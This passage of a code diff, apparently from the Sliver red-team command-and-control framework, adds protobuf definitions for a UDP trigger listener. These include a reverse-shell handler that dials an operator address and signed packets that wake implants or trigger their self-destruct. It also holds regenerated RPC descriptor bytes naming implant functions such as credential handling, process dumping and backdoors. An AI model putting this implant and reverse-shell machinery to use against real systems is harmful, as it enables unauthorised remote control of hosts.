sanitized subprocess env. + string PathOverride = 6; + string HomeOverride = 7; + uint32 MaxOutputBytes = 8; +} + +message ReverseShellConfig { + // OperatorAddr is the host:port the server dials out to on fire. + string OperatorAddr = 1; + // ShellPath absolute; empty => platform default (/bin/sh or cmd.exe). + string ShellPath = 2; + repeated string ShellArgs = 3; + uint32 DialTimeoutMs = 4; + uint32 MaxSessionDurationMs = 5; + // UseTLS wraps the operator-side channel in TLS. + bool UseTLS = 6; +} + +message TriggerIntentBinding { + // Name is the task label on the wire (operator's --task flag). + string Name = 1; + // Exactly one of the *Config fields below is set, selecting the + // handler kind. + oneof Config { + WakeBeaconConfig WakeBeacon = 10; + StopJobConfig StopJob = 11; + ExecConfig Exec = 12; + ReverseShellConfig ReverseShell = 13; + } +} + +message TriggerListenerReq { + // Host is the UDP bind IP, e.g. "0.0.0.0". + string Host = 1; + // Port is the UDP bind port. + uint32 Port = 2; + // SharedSecret is the default HMAC key, used for any client_id not + // in PerClientKeys. Required unless every accepted client has a + // per-client key. + bytes SharedSecret = 3; + // PerClientKeys maps client_id => HMAC secret bytes for multi-key + // deployments. Optional. + map PerClientKeys = 4; + // Strict, if true, rejects any client_id not in PerClientKeys even + // when SharedSecret is set. + bool Strict = 5; + // AllowedClientIDs restricts which client_id values are accepted. + // Empty list = any signed client. + repeated string AllowedClientIDs = 6; + // AllowedSources accepts exact IPs and CIDR ranges (v4 + v6). + // Empty list = allow-all. + repeated string AllowedSources = 7; + // ServerID is included in audit events. + string ServerID = 8; + // Tasks bind labels to handlers at listener-start. + repeated TriggerIntentBinding Intents = 9; // wire name kept for compat + // Tunables (all optional; library applies sane defaults if zero). + uint32 Workers = 20; + uint32 MaxClockSkewSeconds = 21; + uint32 ReplayTTLSeconds = 22; + uint32 MaxMessageBytes = 23; + uint32 GlobalRatePerSecond = 24; + uint32 PerClientRequestsPerMinute = 25; + uint32 MaxReplayEntries = 26; + uint32 MaxRateLimitEntries = 27; + uint32 HandlerTimeoutMs = 28; +} + +// TriggerIntentsReq selects a running trigger listener job for the +// task-introspection RPC. +message TriggerIntentsReq { + uint32 JobID = 1; +} + +// TriggerIntents reports the task bindings registered for a running +// trigger listener. Returned by the TriggerIntents RPC. +message TriggerIntents { + uint32 JobID = 1; + repeated TriggerIntentBinding Bindings = 2; +} + +// TriggerDispatchTaskReq instructs the server to fire a named task +// handler on a running trigger listener, bypassing the UDP wire +// protocol. This lets operators dispatch tasks interactively from the +// sliver console ("trigger send ") without an +// external trigger-client binary. +message TriggerDispatchTaskReq { + uint32 JobID = 1; + string TaskName = 2; +} + +// TriggerFireReq instructs the server to construct a signed trigger +// packet (HMAC-SHA256, wire-format JSON) and send it as a single UDP +// datagram to the specified target. This is the sliver-native +// replacement for the standalone trigger-client binary — used to wake +// dormant implants or fire implant-side self-destruct without leaving +// the console. +// +// The SharedSecret must match the implant's baked-in triggerwake +// secret (set at generation time via --trigger-wake-secret-env / +// --trigger-wake-secret). +message TriggerFireReq { + string TargetHost = 1; // IP or hostname of the implant + uint32 TargetPort = 2; // UDP port the implant's triggerwake is bound to + string Intent = 3; // intent label: "wake", "self-destruct", "exec", etc. + bytes SharedSecret = 4; // HMAC-SHA256 shared secret + string ClientID = 5; // sender identity for audit trail (default: "sliver-operator") + string Payload = 6; // command/data for bidirectional intents (e.g. exec) +} + +// TriggerFireResp carries the result of a trigger fire. For fire-and- +// forget intents (wake, self-destruct), only Sent is populated. For +// bidirectional intents (exec), Output and ExitCode carry the implant's +// response. +message TriggerFireResp { + bool Sent = 1; // true if the packet was sent + string Output = 2; // implant command output (exec only) + int32 ExitCode = 3; // implant command exit code (exec only) + string Error = 4; // implant-side or transport error, if any +} diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 09bbf90048..7c6afb44ba 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 -// protoc v7.34.1 +// protoc-gen-go v1.36.5 +// protoc v3.21.12 // source: rpcpb/services.proto package rpcpb @@ -25,213 +25,779 @@ const ( var File_rpcpb_services_proto protoreflect.FileDescriptor -const file_rpcpb_services_proto_rawDesc = "" + - "\n" + - "\x14rpcpb/services.proto\x12\x05rpcpb\x1a\x15commonpb/common.proto\x1a\x15sliverpb/sliver.proto\x1a\x15clientpb/client.proto2\xec\\\n" + - "\tSliverRPC\x120\n" + - "\n" + - "GetVersion\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Version\x127\n" + - "\tClientLog\x12\x17.clientpb.ClientLogData\x1a\x0f.commonpb.Empty(\x01\x124\n" + - "\fGetOperators\x12\x0f.commonpb.Empty\x1a\x13.clientpb.Operators\x12*\n" + - "\x04Kill\x12\x11.sliverpb.KillReq\x1a\x0f.commonpb.Empty\x12>\n" + - "\vReconfigure\x12\x18.sliverpb.ReconfigureReq\x1a\x15.sliverpb.Reconfigure\x12.\n" + - "\x06Rename\x12\x13.clientpb.RenameReq\x1a\x0f.commonpb.Empty\x122\n" + - "\vGetSessions\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Sessions\x123\n" + - "\fMonitorStart\x12\x0f.commonpb.Empty\x1a\x12.commonpb.Response\x12/\n" + - "\vMonitorStop\x12\x0f.commonpb.Empty\x1a\x0f.commonpb.Empty\x12C\n" + - "\x11MonitorListConfig\x12\x0f.commonpb.Empty\x1a\x1d.clientpb.MonitoringProviders\x12D\n" + - "\x10MonitorAddConfig\x12\x1c.clientpb.MonitoringProvider\x1a\x12.commonpb.Response\x12D\n" + - "\x10MonitorDelConfig\x12\x1c.clientpb.MonitoringProvider\x1a\x12.commonpb.Response\x12>\n" + - "\x0eGetAIProviders\x12\x0f.commonpb.Empty\x1a\x1b.clientpb.AIProviderConfigs\x12@\n" + - "\x12GetAIConversations\x12\x0f.commonpb.Empty\x1a\x19.clientpb.AIConversations\x12J\n" + - "\x11GetAIConversation\x12\x1b.clientpb.AIConversationReq\x1a\x18.clientpb.AIConversation\x12H\n" + - "\x12SaveAIConversation\x12\x18.clientpb.AIConversation\x1a\x18.clientpb.AIConversation\x12D\n" + - "\x14DeleteAIConversation\x12\x1b.clientpb.AIConversationReq\x1a\x0f.commonpb.Empty\x12Z\n" + - "\x19GetAIConversationMessages\x12\x1b.clientpb.AIConversationReq\x1a .clientpb.AIConversationMessages\x12]\n" + - "\x19SaveAIConversationMessage\x12\x1f.clientpb.AIConversationMessage\x1a\x1f.clientpb.AIConversationMessage\x12E\n" + - "\x11StartMTLSListener\x12\x19.clientpb.MTLSListenerReq\x1a\x15.clientpb.ListenerJob\x12A\n" + - "\x0fStartWGListener\x12\x17.clientpb.WGListenerReq\x1a\x15.clientpb.ListenerJob\x12C\n" + - "\x10StartDNSListener\x12\x18.clientpb.DNSListenerReq\x1a\x15.clientpb.ListenerJob\x12F\n" + - "\x12StartHTTPSListener\x12\x19.clientpb.HTTPListenerReq\x1a\x15.clientpb.ListenerJob\x12E\n" + - "\x11StartHTTPListener\x12\x19.clientpb.HTTPListenerReq\x1a\x15.clientpb.ListenerJob\x120\n" + - "\n" + - "GetBeacons\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Beacons\x12/\n" + - "\tGetBeacon\x12\x10.clientpb.Beacon\x1a\x10.clientpb.Beacon\x12-\n" + - "\bRmBeacon\x12\x10.clientpb.Beacon\x1a\x0f.commonpb.Empty\x129\n" + - "\x0eGetBeaconTasks\x12\x10.clientpb.Beacon\x1a\x15.clientpb.BeaconTasks\x12B\n" + - "\x14GetBeaconTaskContent\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12>\n" + - "\x10CancelBeaconTask\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12N\n" + - " UpdateBeaconIntegrityInformation\x12\x19.clientpb.BeaconIntegrity\x1a\x0f.commonpb.Empty\x12*\n" + - "\aGetJobs\x12\x0f.commonpb.Empty\x1a\x0e.clientpb.Jobs\x122\n" + - "\aKillJob\x12\x14.clientpb.KillJobReq\x1a\x11.clientpb.KillJob\x127\n" + - "\vRestartJobs\x12\x17.clientpb.RestartJobReq\x1a\x0f.commonpb.Empty\x12O\n" + - "\x16StartTCPStagerListener\x12\x1b.clientpb.StagerListenerReq\x1a\x18.clientpb.StagerListener\x12)\n" + - "\aLootAdd\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12)\n" + - "\x06LootRm\x12\x0e.clientpb.Loot\x1a\x0f.commonpb.Empty\x12,\n" + - "\n" + - "LootUpdate\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n" + - "\vLootContent\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n" + - "\aLootAll\x12\x0f.commonpb.Empty\x1a\x11.clientpb.AllLoot\x12/\n" + - "\x05Creds\x12\x0f.commonpb.Empty\x1a\x15.clientpb.Credentials\x122\n" + - "\bCredsAdd\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x121\n" + - "\aCredsRm\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x125\n" + - "\vCredsUpdate\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x129\n" + - "\vGetCredByID\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12A\n" + - "\x12GetCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12J\n" + - "\x1bGetPlaintextCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12@\n" + - "\x12CredsSniffHashType\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12,\n" + - "\x05Hosts\x12\x0f.commonpb.Empty\x1a\x12.clientpb.AllHosts\x12&\n" + - "\x04Host\x12\x0e.clientpb.Host\x1a\x0e.clientpb.Host\x12)\n" + - "\x06HostRm\x12\x0e.clientpb.Host\x1a\x0f.commonpb.Empty\x12+\n" + - "\tHostIOCRm\x12\r.clientpb.IOC\x1a\x0f.commonpb.Empty\x125\n" + - "\bGenerate\x12\x15.clientpb.GenerateReq\x1a\x12.clientpb.Generate\x12L\n" + - "\x15GenerateSpoofMetadata\x12\".clientpb.GenerateSpoofMetadataReq\x1a\x0f.commonpb.Empty\x12R\n" + - "\x10GenerateExternal\x12\x1d.clientpb.ExternalGenerateReq\x1a\x1f.clientpb.ExternalImplantConfig\x12M\n" + - "\x19GenerateExternalSaveBuild\x12\x1f.clientpb.ExternalImplantBinary\x1a\x0f.commonpb.Empty\x12Y\n" + - "\x1eGenerateExternalGetBuildConfig\x12\x16.clientpb.ImplantBuild\x1a\x1f.clientpb.ExternalImplantConfig\x12?\n" + - "\rGenerateStage\x12\x1a.clientpb.GenerateStageReq\x1a\x12.clientpb.Generate\x12?\n" + - "\x11StageImplantBuild\x12\x19.clientpb.ImplantStageReq\x1a\x0f.commonpb.Empty\x12=\n" + - "\x11GetHTTPC2Profiles\x12\x0f.commonpb.Empty\x1a\x17.clientpb.HTTPC2Configs\x12H\n" + - "\x16GetHTTPC2ProfileByName\x12\x16.clientpb.C2ProfileReq\x1a\x16.clientpb.HTTPC2Config\x12?\n" + - "\x11SaveHTTPC2Profile\x12\x19.clientpb.HTTPC2ConfigReq\x1a\x0f.commonpb.Empty\x127\n" + - "\x0fBuilderRegister\x12\x11.clientpb.Builder\x1a\x0f.clientpb.Event0\x01\x122\n" + - "\x0eBuilderTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12/\n" + - "\bBuilders\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Builders\x12J\n" + - "\x12GetCertificateInfo\x12\x19.clientpb.CertificatesReq\x1a\x19.clientpb.CertificateInfo\x12R\n" + - "\x1bGetCertificateAuthorityInfo\x12\x0f.commonpb.Empty\x1a\".clientpb.CertificateAuthorityInfo\x128\n" + - "\x05Crack\x12\x16.clientpb.CrackCommand\x1a\x17.clientpb.CrackResponse\x12A\n" + - "\x14CrackstationRegister\x12\x16.clientpb.Crackstation\x1a\x0f.clientpb.Event0\x01\x127\n" + - "\x13CrackstationTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12B\n" + - "\x15CrackstationBenchmark\x12\x18.clientpb.CrackBenchmark\x1a\x0f.commonpb.Empty\x129\n" + - "\rCrackstations\x12\x0f.commonpb.Empty\x1a\x17.clientpb.Crackstations\x129\n" + - "\rCrackTaskByID\x12\x13.clientpb.CrackTask\x1a\x13.clientpb.CrackTask\x127\n" + - "\x0fCrackTaskUpdate\x12\x13.clientpb.CrackTask\x1a\x0f.commonpb.Empty\x12;\n" + - "\x0eCrackFilesList\x12\x13.clientpb.CrackFile\x1a\x14.clientpb.CrackFiles\x12;\n" + - "\x0fCrackFileCreate\x12\x13.clientpb.CrackFile\x1a\x13.clientpb.CrackFile\x12A\n" + - "\x14CrackFileChunkUpload\x12\x18.clientpb.CrackFileChunk\x1a\x0f.commonpb.Empty\x12L\n" + - "\x16CrackFileChunkDownload\x12\x18.clientpb.CrackFileChunk\x1a\x18.clientpb.CrackFileChunk\x129\n" + - "\x11CrackFileComplete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x127\n" + - "\x0fCrackFileDelete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x129\n" + - "\n" + - "Regenerate\x12\x17.clientpb.RegenerateReq\x1a\x12.clientpb.Generate\x129\n" + - "\rImplantBuilds\x12\x0f.commonpb.Empty\x1a\x17.clientpb.ImplantBuilds\x12:\n" + - "\x12DeleteImplantBuild\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12/\n" + - "\bCanaries\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Canaries\x12C\n" + - "\x16GenerateWGClientConfig\x12\x0f.commonpb.Empty\x1a\x18.clientpb.WGClientConfig\x129\n" + - "\x10GenerateUniqueIP\x12\x0f.commonpb.Empty\x1a\x14.clientpb.UniqueWGIP\x12=\n" + - "\x0fImplantProfiles\x12\x0f.commonpb.Empty\x1a\x19.clientpb.ImplantProfiles\x12<\n" + - "\x14DeleteImplantProfile\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12H\n" + - "\x12SaveImplantProfile\x12\x18.clientpb.ImplantProfile\x1a\x18.clientpb.ImplantProfile\x12A\n" + - "\fShellcodeRDI\x12\x19.clientpb.ShellcodeRDIReq\x1a\x16.clientpb.ShellcodeRDI\x122\n" + - "\vGetCompiler\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Compiler\x12K\n" + - "\x10ShellcodeEncoder\x12\x1c.clientpb.ShellcodeEncodeReq\x1a\x19.clientpb.ShellcodeEncode\x12E\n" + - "\x13ShellcodeEncoderMap\x12\x0f.commonpb.Empty\x1a\x1d.clientpb.ShellcodeEncoderMap\x12A\n" + - "\x11TrafficEncoderMap\x12\x0f.commonpb.Empty\x1a\x1b.clientpb.TrafficEncoderMap\x12L\n" + - "\x11TrafficEncoderAdd\x12\x18.clientpb.TrafficEncoder\x1a\x1d.clientpb.TrafficEncoderTests\x12=\n" + - "\x10TrafficEncoderRm\x12\x18.clientpb.TrafficEncoder\x1a\x0f.commonpb.Empty\x12/\n" + - "\bWebsites\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Websites\x12/\n" + - "\aWebsite\x12\x11.clientpb.Website\x1a\x11.clientpb.Website\x123\n" + - "\rWebsiteRemove\x12\x11.clientpb.Website\x1a\x0f.commonpb.Empty\x12C\n" + - "\x11WebsiteAddContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12F\n" + - "\x14WebsiteUpdateContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12I\n" + - "\x14WebsiteRemoveContent\x12\x1e.clientpb.WebsiteRemoveContent\x1a\x11.clientpb.Website\x12&\n" + - "\x04Ping\x12\x0e.sliverpb.Ping\x1a\x0e.sliverpb.Ping\x12#\n" + - "\x02Ps\x12\x0f.sliverpb.PsReq\x1a\f.sliverpb.Ps\x128\n" + - "\tTerminate\x12\x16.sliverpb.TerminateReq\x1a\x13.sliverpb.Terminate\x125\n" + - "\bIfconfig\x12\x15.sliverpb.IfconfigReq\x1a\x12.sliverpb.Ifconfig\x122\n" + - "\aNetstat\x12\x14.sliverpb.NetstatReq\x1a\x11.sliverpb.Netstat\x12#\n" + - "\x02Ls\x12\x0f.sliverpb.LsReq\x1a\f.sliverpb.Ls\x12$\n" + - "\x02Cd\x12\x0f.sliverpb.CdReq\x1a\r.sliverpb.Pwd\x12&\n" + - "\x03Pwd\x12\x10.sliverpb.PwdReq\x1a\r.sliverpb.Pwd\x12#\n" + - "\x02Mv\x12\x0f.sliverpb.MvReq\x1a\f.sliverpb.Mv\x12#\n" + - "\x02Cp\x12\x0f.sliverpb.CpReq\x1a\f.sliverpb.Cp\x12#\n" + - "\x02Rm\x12\x0f.sliverpb.RmReq\x1a\f.sliverpb.Rm\x12,\n" + - "\x05Mkdir\x12\x12.sliverpb.MkdirReq\x1a\x0f.sliverpb.Mkdir\x125\n" + - "\bDownload\x12\x15.sliverpb.DownloadReq\x1a\x12.sliverpb.Download\x12/\n" + - "\x06Upload\x12\x13.sliverpb.UploadReq\x1a\x10.sliverpb.Upload\x12)\n" + - "\x04Grep\x12\x11.sliverpb.GrepReq\x1a\x0e.sliverpb.Grep\x12,\n" + - "\x05Chmod\x12\x12.sliverpb.ChmodReq\x1a\x0f.sliverpb.Chmod\x12,\n" + - "\x05Chown\x12\x12.sliverpb.ChownReq\x1a\x0f.sliverpb.Chown\x122\n" + - "\aChtimes\x12\x14.sliverpb.ChtimesReq\x1a\x11.sliverpb.Chtimes\x127\n" + - "\fMemfilesList\x12\x19.sliverpb.MemfilesListReq\x1a\f.sliverpb.Ls\x12>\n" + - "\vMemfilesAdd\x12\x18.sliverpb.MemfilesAddReq\x1a\x15.sliverpb.MemfilesAdd\x12;\n" + - "\n" + - "MemfilesRm\x12\x17.sliverpb.MemfilesRmReq\x1a\x14.sliverpb.MemfilesRm\x12,\n" + - "\x05Mount\x12\x12.sliverpb.MountReq\x1a\x0f.sliverpb.Mount\x12>\n" + - "\vProcessDump\x12\x18.sliverpb.ProcessDumpReq\x1a\x15.sliverpb.ProcessDump\x12,\n" + - "\x05RunAs\x12\x12.sliverpb.RunAsReq\x1a\x0f.sliverpb.RunAs\x12>\n" + - "\vImpersonate\x12\x18.sliverpb.ImpersonateReq\x1a\x15.sliverpb.Impersonate\x128\n" + - "\tRevToSelf\x12\x16.sliverpb.RevToSelfReq\x1a\x13.sliverpb.RevToSelf\x128\n" + - "\tGetSystem\x12\x16.clientpb.GetSystemReq\x1a\x13.sliverpb.GetSystem\x12)\n" + - "\x04Task\x12\x11.sliverpb.TaskReq\x1a\x0e.sliverpb.Task\x12'\n" + - "\x03Msf\x12\x10.clientpb.MSFReq\x1a\x0e.sliverpb.Task\x123\n" + - "\tMsfRemote\x12\x16.clientpb.MSFRemoteReq\x1a\x0e.sliverpb.Task\x12J\n" + - "\x0fExecuteAssembly\x12\x1c.sliverpb.ExecuteAssemblyReq\x1a\x19.sliverpb.ExecuteAssembly\x122\n" + - "\aMigrate\x12\x14.clientpb.MigrateReq\x1a\x11.sliverpb.Migrate\x122\n" + - "\aExecute\x12\x14.sliverpb.ExecuteReq\x1a\x11.sliverpb.Execute\x12@\n" + - "\x0eExecuteWindows\x12\x1b.sliverpb.ExecuteWindowsReq\x1a\x11.sliverpb.Execute\x12J\n" + - "\x0fExecuteChildren\x12\x1c.sliverpb.ExecuteChildrenReq\x1a\x19.sliverpb.ExecuteChildren\x125\n" + - "\bSideload\x12\x15.sliverpb.SideloadReq\x1a\x12.sliverpb.Sideload\x12;\n" + - "\bSpawnDll\x12\x1b.sliverpb.InvokeSpawnDllReq\x1a\x12.sliverpb.SpawnDll\x12;\n" + - "\n" + - "Screenshot\x12\x17.sliverpb.ScreenshotReq\x1a\x14.sliverpb.Screenshot\x12P\n" + - "\x11CurrentTokenOwner\x12\x1e.sliverpb.CurrentTokenOwnerReq\x1a\x1b.sliverpb.CurrentTokenOwner\x125\n" + - "\bServices\x12\x15.sliverpb.ServicesReq\x1a\x12.sliverpb.Services\x12D\n" + - "\rServiceDetail\x12\x1a.sliverpb.ServiceDetailReq\x1a\x17.sliverpb.ServiceDetail\x12L\n" + - "\x12StartServiceByName\x12\x1f.sliverpb.StartServiceByNameReq\x1a\x15.sliverpb.ServiceInfo\x12N\n" + - "\x12PivotStartListener\x12\x1f.sliverpb.PivotStartListenerReq\x1a\x17.sliverpb.PivotListener\x12D\n" + - "\x11PivotStopListener\x12\x1e.sliverpb.PivotStopListenerReq\x1a\x0f.commonpb.Empty\x12N\n" + - "\x15PivotSessionListeners\x12\x1b.sliverpb.PivotListenersReq\x1a\x18.sliverpb.PivotListeners\x123\n" + - "\n" + - "PivotGraph\x12\x0f.commonpb.Empty\x1a\x14.clientpb.PivotGraph\x12@\n" + - "\fStartService\x12\x19.sliverpb.StartServiceReq\x1a\x15.sliverpb.ServiceInfo\x12>\n" + - "\vStopService\x12\x18.sliverpb.StopServiceReq\x1a\x15.sliverpb.ServiceInfo\x12B\n" + - "\rRemoveService\x12\x1a.sliverpb.RemoveServiceReq\x1a\x15.sliverpb.ServiceInfo\x128\n" + - "\tMakeToken\x12\x16.sliverpb.MakeTokenReq\x1a\x13.sliverpb.MakeToken\x12-\n" + - "\x06GetEnv\x12\x10.sliverpb.EnvReq\x1a\x11.sliverpb.EnvInfo\x12/\n" + - "\x06SetEnv\x12\x13.sliverpb.SetEnvReq\x1a\x10.sliverpb.SetEnv\x125\n" + - "\bUnsetEnv\x12\x15.sliverpb.UnsetEnvReq\x1a\x12.sliverpb.UnsetEnv\x125\n" + - "\bBackdoor\x12\x15.clientpb.BackdoorReq\x1a\x12.clientpb.Backdoor\x12A\n" + - "\fRegistryRead\x12\x19.sliverpb.RegistryReadReq\x1a\x16.sliverpb.RegistryRead\x12D\n" + - "\rRegistryWrite\x12\x1a.sliverpb.RegistryWriteReq\x1a\x17.sliverpb.RegistryWrite\x12P\n" + - "\x11RegistryCreateKey\x12\x1e.sliverpb.RegistryCreateKeyReq\x1a\x1b.sliverpb.RegistryCreateKey\x12P\n" + - "\x11RegistryDeleteKey\x12\x1e.sliverpb.RegistryDeleteKeyReq\x1a\x1b.sliverpb.RegistryDeleteKey\x12T\n" + - "\x13RegistryListSubKeys\x12\x1f.sliverpb.RegistrySubKeyListReq\x1a\x1c.sliverpb.RegistrySubKeyList\x12S\n" + - "\x12RegistryListValues\x12\x1f.sliverpb.RegistryListValuesReq\x1a\x1c.sliverpb.RegistryValuesList\x12M\n" + - "\x10RegistryReadHive\x12\x1d.sliverpb.RegistryReadHiveReq\x1a\x1a.sliverpb.RegistryReadHive\x12>\n" + - "\rRunSSHCommand\x12\x17.sliverpb.SSHCommandReq\x1a\x14.sliverpb.SSHCommand\x128\n" + - "\tHijackDLL\x12\x16.clientpb.DllHijackReq\x1a\x13.clientpb.DllHijack\x125\n" + - "\bGetPrivs\x12\x15.sliverpb.GetPrivsReq\x1a\x12.sliverpb.GetPrivs\x12W\n" + - "\x15StartRportFwdListener\x12\".sliverpb.RportFwdStartListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12S\n" + - "\x14GetRportFwdListeners\x12\x1e.sliverpb.RportFwdListenersReq\x1a\x1b.sliverpb.RportFwdListeners\x12U\n" + - "\x14StopRportFwdListener\x12!.sliverpb.RportFwdStopListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12;\n" + - "\vOpenSession\x12\x15.sliverpb.OpenSession\x1a\x15.sliverpb.OpenSession\x127\n" + - "\fCloseSession\x12\x16.sliverpb.CloseSession\x1a\x0f.commonpb.Empty\x12P\n" + - "\x11RegisterExtension\x12\x1e.sliverpb.RegisterExtensionReq\x1a\x1b.sliverpb.RegisterExtension\x12D\n" + - "\rCallExtension\x12\x1a.sliverpb.CallExtensionReq\x1a\x17.sliverpb.CallExtension\x12G\n" + - "\x0eListExtensions\x12\x1b.sliverpb.ListExtensionsReq\x1a\x18.sliverpb.ListExtensions\x12\\\n" + - "\x15RegisterWasmExtension\x12\".sliverpb.RegisterWasmExtensionReq\x1a\x1f.sliverpb.RegisterWasmExtension\x12S\n" + - "\x12ListWasmExtensions\x12\x1f.sliverpb.ListWasmExtensionsReq\x1a\x1c.sliverpb.ListWasmExtensions\x12P\n" + - "\x11ExecWasmExtension\x12\x1e.sliverpb.ExecWasmExtensionReq\x1a\x1b.sliverpb.ExecWasmExtension\x12N\n" + - "\x12WGStartPortForward\x12\x1f.sliverpb.WGPortForwardStartReq\x1a\x17.sliverpb.WGPortForward\x12L\n" + - "\x11WGStopPortForward\x12\x1e.sliverpb.WGPortForwardStopReq\x1a\x17.sliverpb.WGPortForward\x12<\n" + - "\fWGStartSocks\x12\x19.sliverpb.WGSocksStartReq\x1a\x11.sliverpb.WGSocks\x12:\n" + - "\vWGStopSocks\x12\x18.sliverpb.WGSocksStopReq\x1a\x11.sliverpb.WGSocks\x12K\n" + - "\x10WGListForwarders\x12\x1c.sliverpb.WGTCPForwardersReq\x1a\x19.sliverpb.WGTCPForwarders\x12K\n" + - "\x12WGListSocksServers\x12\x1b.sliverpb.WGSocksServersReq\x1a\x18.sliverpb.WGSocksServers\x12,\n" + - "\x05Shell\x12\x12.sliverpb.ShellReq\x1a\x0f.sliverpb.Shell\x128\n" + - "\vShellResize\x12\x18.sliverpb.ShellResizeReq\x1a\x0f.commonpb.Empty\x122\n" + - "\aPortfwd\x12\x14.sliverpb.PortfwdReq\x1a\x11.sliverpb.Portfwd\x12/\n" + - "\vCreateSocks\x12\x0f.sliverpb.Socks\x1a\x0f.sliverpb.Socks\x12.\n" + - "\n" + - "CloseSocks\x12\x0f.sliverpb.Socks\x1a\x0f.commonpb.Empty\x12:\n" + - "\n" + - "SocksProxy\x12\x13.sliverpb.SocksData\x1a\x13.sliverpb.SocksData(\x010\x01\x122\n" + - "\fCreateTunnel\x12\x10.sliverpb.Tunnel\x1a\x10.sliverpb.Tunnel\x120\n" + - "\vCloseTunnel\x12\x10.sliverpb.Tunnel\x1a\x0f.commonpb.Empty\x12<\n" + - "\n" + - "TunnelData\x12\x14.sliverpb.TunnelData\x1a\x14.sliverpb.TunnelData(\x010\x01\x12,\n" + - "\x06Events\x12\x0f.commonpb.Empty\x1a\x0f.clientpb.Event0\x01B,Z*github.com/bishopfox/sliver/protobuf/rpcpbb\x06proto3" +var file_rpcpb_services_proto_rawDesc = string([]byte{ + 0x0a, 0x14, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x05, 0x72, 0x70, 0x63, 0x70, 0x62, 0x1a, 0x15, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x32, 0x90, 0x5f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47, + 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 